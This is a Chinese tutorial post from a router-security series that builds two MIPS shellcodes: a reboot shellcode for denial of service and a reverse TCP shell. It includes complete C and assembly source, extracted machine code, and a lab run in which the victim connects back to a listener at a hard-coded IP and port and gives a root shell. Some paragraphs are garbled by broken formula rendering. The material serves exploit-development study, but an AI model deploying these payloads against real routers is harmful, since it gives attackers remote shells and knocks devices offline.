本次我们主要总结和分享了一些常用的Shellcode。
我们在前面几次分享中都是围绕着execve系统调用相关的Shellcode展开的。我们可以看到execve可以很方便的在存有栈溢出的路由器中完成远程命令执行。但它并不是唯一常用的Shellcode,在书中作者还介绍了一个简单的reboot Shellcode,主要用于发起对目标路由器的拒绝服务攻击。还有一个比较复杂的,通过联合多个系统调用来获取反向Tcp shell连接的Shellcode。本次分享我们就着重对这两个常用的Shellcode进行总结和分享。
reboot Shellcode
执行重启的Shellcode也经常应用于远程程序的漏洞利用中,黑客可以利用重启路由器造成拒绝服务。
首先我们看一下使用C语言应该如何编写reboot程序(百度找的):
#include <unistd.h>
#include <linux/reboot.h>
#include <sys/reboot.h>
int main() {
reboot(LINUX_REBOOT_CMD_RESTART);
}
在mips-debian系统中编译这段代码:
root@bogon:~# gcc -static test_reboot.c -o test_reboot
我们可以使用ida逆向这个程序,看看reboot函数具体使用哪个系统调用,main函数的核心汇编代码为:
.text:004006A0 lui $v0, 0x123
.text:004006A4 ori $a0, $v0, 0x4567
.text:004006A8 la $v0, reboot
.text:004006AC move $t9, $v0
.text:004006B0 bal reboot
我们可以看到,C代码中的LINUX_REBOOT_CMD_RESTART的16进制值为0x1234567。
这里的reboot函数间接的调用了reboot系统调用,真正使用reboot系统调用的汇编代码是这样的:
.text:0041CF80 .globl reboot
.text:0041CF80 reboot:
.text:0041CF80
.text:0041CF80 move $a2, $a0
.text:0041CF84 lui $a1, 0x2812
.text:0041CF88 lui $a0, 0xFEE1
.text:0041CF8C li $a1, 0x28121969
.text:0041CF90 li $a0, 0xFEE1DEAD
.text:0041CF94 li $v0, 0xFF8
.text:0041CF98 syscall 0
第4行我们可以看到,a0参数被赋值给了a2,也就是被赋值为LINUX_REBOOT_CMD_RESTART,也就是a2的值为0x1234567,
a1被赋值为0x28121969,
a0被赋值为0xFEE1DEAD,
然后将代表reboot的系统调用号0xFF8,也就是4088赋值给v0,
最后使用syscall指令调用了真正的reboot系统调用。
我们按照C语言编写的reboot,可以编写汇编语言的Shellcode,如下:
.section .text
.globl __start
.set noreorder
__start:
lui $a2, 0x123
ori $a2, $a2, 0x4567
lui $a1, 0x2812
ori $a1, $a1, 0x1969
lui $a0, 0xFEE1
ori $a0, $a0, 0xDEAD
li $v0, 4088
syscall
使用readelf命令结合dd命令可以提取到最终的Shellcode机器码如下:
root@bogon:~# readelf -S test_reboot
There are 8 section headers, starting at offset 0x254:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .MIPS.abiflags MIPS_ABIFLAGS 00400098 000098 000018 18 A 0 0 8
[ 2] .reginfo MIPS_REGINFO 004000b0 0000b0 000018 18 A 0 0 4
[ 3] .text PROGBITS 004000d0 0000d0 000020 00 AX 0 0 16
[ 4] .gnu.attributes LOOS+0xffffff5 00000000 0000f0 000010 00 0 0 1
[ 5] .symtab SYMTAB 00000000 000100 0000d0 10 6 6 4
[ 6] .strtab STRTAB 00000000 0001d0 000039 00 0 0 1
[ 7] .shstrtab STRTAB 00000000 000209 000049 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
root@bogon:~# dd if=test_reboot of=test_reboot.ins bs=1 skip=208 count=32
32+0 records in
32+0 records out
32 bytes copied, 0.0131893 s, 2.4 kB/s
使用hexdump查看机器码:
root@bogon:~# hexdump test_reboot.ins
0000000 3c06 0123 34c6 4567 3c05 2812 34a5 1969
0000010 3c04 fee1 3484 dead 2402 0ff8 0000 000c
0000020
root@bogon:~#
reverse_tcp Shellcode
反向连接Shellcode可以在一个被攻击系统和另一个系统之间建立连接,一旦Shellcode被连接,将产生一个交互式的Shell。Shellcode可以从被攻击机器上产生一个指向外部的连接,这对于攻击躲避在防火墙后面的服务器是很有用的方法。
我们还是先使用C语言实现反向连接远程端口(reverse_tcp.c):
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc, rc;
struct sockaddr_in serv_addr;
//reverse(ip: port) 192.168.32.140:30583
int main() {
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = 0xc0a8208c;
serv_addr.sin_port = 0x7777;
soc = socket(AF_INET, SOCK_STREAM, 0);
rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);
dup2(soc, 0);
dup2(soc, 1);
dup2(soc, 2);
execve("/bin/sh", 0, 0);
}
第10、11、12三行准备了远程主机的ip和端口号。
第13行使用socket函数创建了一个套接字。
第14行使用connect函数向远程主机发起tcp连接,连接成功后soc变量就代表了本次有效的tcp连接。
第15、16、17三行将socket套接字与本进程的stdin(0)、stdout(1)、stderr(2)绑定到了一起。
第18行使用execve函数执行了一个/bin/sh程序。
我们知道,/bin/sh程序启动后会使用stdin、stdout、stderr三个文件描述符来分别处理用户的输入、程序的正常输出、程序的报错输出。而第15、16、17三行将socket套接字与这三个文件描述进行了绑定,也就是说,发送给socket套接字的信息也都会发送给/bin/sh。而/bin/sh产生的输出也都会发送给socket套接字。这样我们就从原理上获取了一个反向的tcp shell。
为了更好的理解什么叫反向 Tcp Shell,我们就用这段代码做个实验。
在mips-debian系统中编译这个反向连接代码:
root@bogon:~# gcc reverse_tcp.c -o reverse_tcp
在Ubuntu系统中使用nc命令启动30583端口:
test@ubuntu:~$ nc -l -p 30583
执行刚刚编译的反向连接程序:
root@bogon:~# ./reverse_tcp
查看Ubuntu系统中nc命令的变化:
test@ubuntu:~$ nc -l -p 30583
ls /
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
telnetd
tmp
usr
var
vmlinux
vmlinux.old
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/issue
Debian GNU/Linux 9 \n \l
我们可以发现,在Ubuntu中使用nc命令的地方可以获取到一个远程连接到mips-debian系统的shell,并且可以在shell中执行任意命令。
由上面的C代码,我们可以知道,为了实现反向连接,需要成功执行socket、connect、dup2和execve系统调用。
第13行的socket调用并不难:
soc = socket(AF_INET, SOCK_STREAM, 0);
所有的参数都为整数,不存在指针之类的复杂类型,需要注意的就是要把socket函数的返回值放到安全的地方,因为在connect和dup2函数中会使用这个值,这里的AF_INET=2,SOCK_STREAM=2。
建立socket以后,需要尝试连接远程主机,需要将远程主机的端口号和IP信息保存在serv_addr结构体中变量中:
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = 0xc0a8208c;
serv_addr.sin_port = 0x7777;
soc = socket(AF_INET, SOCK_STREAM, 0);
rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);
连接好以后,会得到一个套接字文件描述符,就是soc变量,这个套接字文件描述符允许用户和套接字接口进行通信。因为我们想要给连接的用户返回一个交互的shell,所以使用socket套接字来绑定stdin(标准输入)、stdout(标准输出)、stderr(标准出错),然后使用execve函数执行了/bin/sh命令:
dup2(soc, 0);
dup2(soc, 1);
dup2(soc, 2);
execve("/bin/sh", 0, 0);
这是一个在Shellcode中执行多个系统调用的例子,各个系统调用之间的关系也比较复杂,下面我们会把每个系统调用分开讲解:
socket系统调用
# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183 # sys_socket
syscall
第5~8行是利用指令优化技术将a0和a1都赋值为2。
第5行将t7赋值为-6,原码为10000110,反码为11111001,补码为11111010。
第6行将-6的补码与$zero进行同或操作:
11111010
nor 00000000
= 00000101
所以,第6行的意思是将t7赋值为5。
第7行,是将a0赋值为5-3,也就是2.
第8行,同样的,是将a1赋值为2.
第9行,因为$zero不小于-1,所以,设置a2为0 (set on less than immediate)。
第10行,将v0设置为4183,是sys_socket的系统调用号。
第11行使用syscall指令完成sys_socket的系统调用。
connect系统调用
# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777 #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8 #ip(high)
ori $t6, $t6, 0x0249 #ip(low)
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170 #sys_connect
syscall
第5行,是把v0的值保存到栈空间中。v0是上一次系统调用得到的返回值,也就是socket调用返回的socket文件描述符,对应最上面C语言代码里的soc变量。
第6行,相当于把刚刚保存的soc变量存储到了a0中。
因为我们要调用connect函数,所以,我们还要准备a1、a2参数。
a1对应上面C代码中的结构体变量,而结构体本质上就是一块固定格式的内存,内存中规定了第几个字节应该存储哪个字段的值。第7~16行就是为了准备这个结构体变量对应内存数据的。
为了能够更好的理解结构体在内存中的存储,我们先来看一下这个结构体的定义:
struct sockaddr_in {
sa_family_t sin_family;
uint16_t sin_port;
struct in_addr sin_addr;
char sin_zero[8];
}
这里的struct in_addr同样是一个结构体,其他的字段其实都是一个基本类型的别名:
struct in_addr {
In_addr_t s_addr;
}
这里的In_addr_t实际上是一个32位的基本类型,用于存储IPv4地址。
按照各个字段在结构体中的前后顺序,我们可以得出结构体变量在内存中的存储结构:
在上面的汇编代码中,使用3次sw指令将family、端口号、ip分别存入了当前函数对额栈空间,分别是 s p − 32 、 sp-32、 sp−32、sp-28、$sp-26。
第7、8、9三条指令是将$sp-32所指向的内存赋值位2,执行完这三条指令后,栈空间内存变化如图:
这个2,是由第7行的0xfffd与$zero同或操作得到的:
1111111111111101
nor 0000000000000000
= 0000000000000010
= 0x2
这里因为sw指令要求的操作数是4字节,所以第9行的汇编指令实际上是将 s p − 32 开 始 的 4 字 节 空 间 都 进 行 了 赋 值 , 低 2 位 赋 值 位 0 , 高 2 位 赋 值 位 2 。 因 此 整 个 结 构 体 变 量 的 内 存 空 间 起 始 地 址 应 该 为 sp-32开始的4字节空间都进行了赋值,低2位赋值位0,高2位赋值位2。因此整个结构体变量的内存空间起始地址应该为 sp−32开始的4字节空间都进行了赋值,低2位赋值位0,高2位赋值位2。因此整个结构体变量的内存空间起始地址应该为sp-30。
第10、11、12三行,是将$sp-28内存赋值为端口号,即0x7777:
这里因为第12行的sw指令是操作的32位(即4字节)数,所以将与
s
p
−
28
内
存
相
邻
的
sp-28内存相邻的
sp−28内存相邻的sp-26也做了赋值。这其实没什么关系,因为我们很快就会看到,汇编指令的第15行使用sw指令将$sp-26内存开始的4个字节被赋值为了4个字节的IPv4地址:
至此,我们的struct sockaddr_in结构体变量就准备好了,我需要使用第16行的addiu指令使该结构体变量保存到a1寄存器中。
接下来的第18、19、20行分别准备了a2参数(0x10)和系统调用号(v0=4170)。
最后使用syscall指令发起了sys_connect系统调用。
dup2系统调用
# sys_dup2
# a0: oldfd (socket)
# a1: newfd (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop: move $a1, $s1 #dup2_loop
li $v0, 4063 # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop
因为在文章开头处的C代码中分别使用3次dup2函数,因此这里为了节省空间,使用了一个循环来调用dup2函数,相当于以下代码:
$s1 = 2;
do {
dup2(socket_handle, $s1);
$s0 = -1;
$s1 = $s1 -1;
} while ($s1 != $s0)
汇编代码的第4、5行就是将s1赋值为2,-3的补码形式为11111101,与00000000同或操作得到00000010,即赋值为2。
第6行,是将 s p − 1 中 的 值 存 入 a 0 寄 存 器 , 还 记 得 我 们 前 面 讲 的 c o n n e c t 函 数 调 用 的 汇 编 代 码 吗 , 第 一 条 语 句 就 是 将 s o c k e t 文 件 描 述 符 ( v 0 ) 存 入 到 了 sp-1中的值存入a0寄存器,还记得我们前面讲的connect函数调用的汇编代码吗,第一条语句就是将socket文件描述符(v0)存入到了 sp−1中的值存入a0寄存器,还记得我们前面讲的connect函数调用的汇编代码吗,第一条语句就是将socket文件描述符(v0)存入到了sp-1中,所以,这里a0将指向的是socket文件描述符。
第一轮循环中,s1的值为2,所以第一轮循环中的第7行汇编代码将a1赋值为2,然后准备v0,然后调用了syscall完成了dup2(sokcet_handle, 2)的功能。紧接着将s1减1,然后判断s1是否小于0,如果不小于0,就继续调用这个循环,依次完成dup2(sokcet_handle, 1)、dup2(sokcet_handle, 0)。如果s1小于0,就代表三次dup2函数已经执行完成,可以继续向下执行其他汇编代码了,也就是下面的execve系统调用部分。
execve系统调用
# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f #"//"
ori $t7, $t7, 0x6269 #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f #"n/"
ori $t6, $t6, 0x7368 #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011 #sys_execve
syscall
在第“十五”次分享中,我们使用了execve来执行/bin/sh命令,在当时调用exceve时,我们将要执行的命令,即“/bin/sh”附加在了Shellcode尾部的做法。在本例中,因为我们只需要执行/bin/sh,所以并没有采用之前的灵活方式,而是使用sw指令直接将“//bin/sh”写入栈空间中($sp-20)即可,这段汇编代码对应的系统系统调用C代码为:execve("//bin/sh", 0, 0),这里为了方便汇编代码的编写(4字节对齐),我们在/bin/sh字符串前面加了一个/,这样整好2次sw操作可以将这8个字节完整的写入到栈中。
经过上面的分析,一个完整的反向连接Shellcode已经完成了,这里我们给出它的完整代码:
.section .text
.globl __start
.set noreorder
__start:
# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183 # sys_socket
syscall
# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777 #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8 #ip(high) 192.168
ori $t6, $t6, 0x208c #ip(low) 32.140
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170 #sys_connect
syscall
# sys_dup2
# a0: oldfd (socket)
# a1: newfd (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop: move $a1, $s1 #dup2_loop
li $v0, 4063 # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop
# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f #"//"
ori $t7, $t7, 0x6269 #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f #"n/"
ori $t6, $t6, 0x7368 #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011 #sys_execve
syscall
我们可以将这段完成reverse_tcp shellcode编译成可执行文件进行测试,需要注意的是,因为在汇编代码中硬编码了ip和端口号,所以在实际的实验环境中,你可能需要将对应的部分做出修改。
在mips-debian系统中编译这段汇编代码的命令如下:
root@bogon:~# as reverse_tcp.S -o reverse_tcp.o
root@bogon:~# ld reverse_tcp.o -o reverse_tcp
在192.168.32.140的Ubuntu中使用nc命令监听0x7777端口:
test@ubuntu:~/Desktop$ nc -l -p 30583
在mips-debian系统中执行reverse_tcp程序:
root@bogon:~# ./reverse_tcp
这时在192.168.32.140的Ubuntu中的nc命令中,就可以输入各种命令来取得mips-debian系统的shell了:
test@ubuntu:~/Desktop$ nc -l -p 30583
ls /
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
telnetd
tmp
usr
var
vmlinux
vmlinux.old
到这里,我们对家用路由器安全分析场景中常用的技术基础知识就总结完了。
下次的分享中,我们将会通过一个完成的示例,即通过一个存在缓冲区溢出漏洞的程序,来演示如何通过漏洞的方式来执行我们编写的Shellcode的。
最后,希望本次分享能够为你带来帮助。谢谢大家。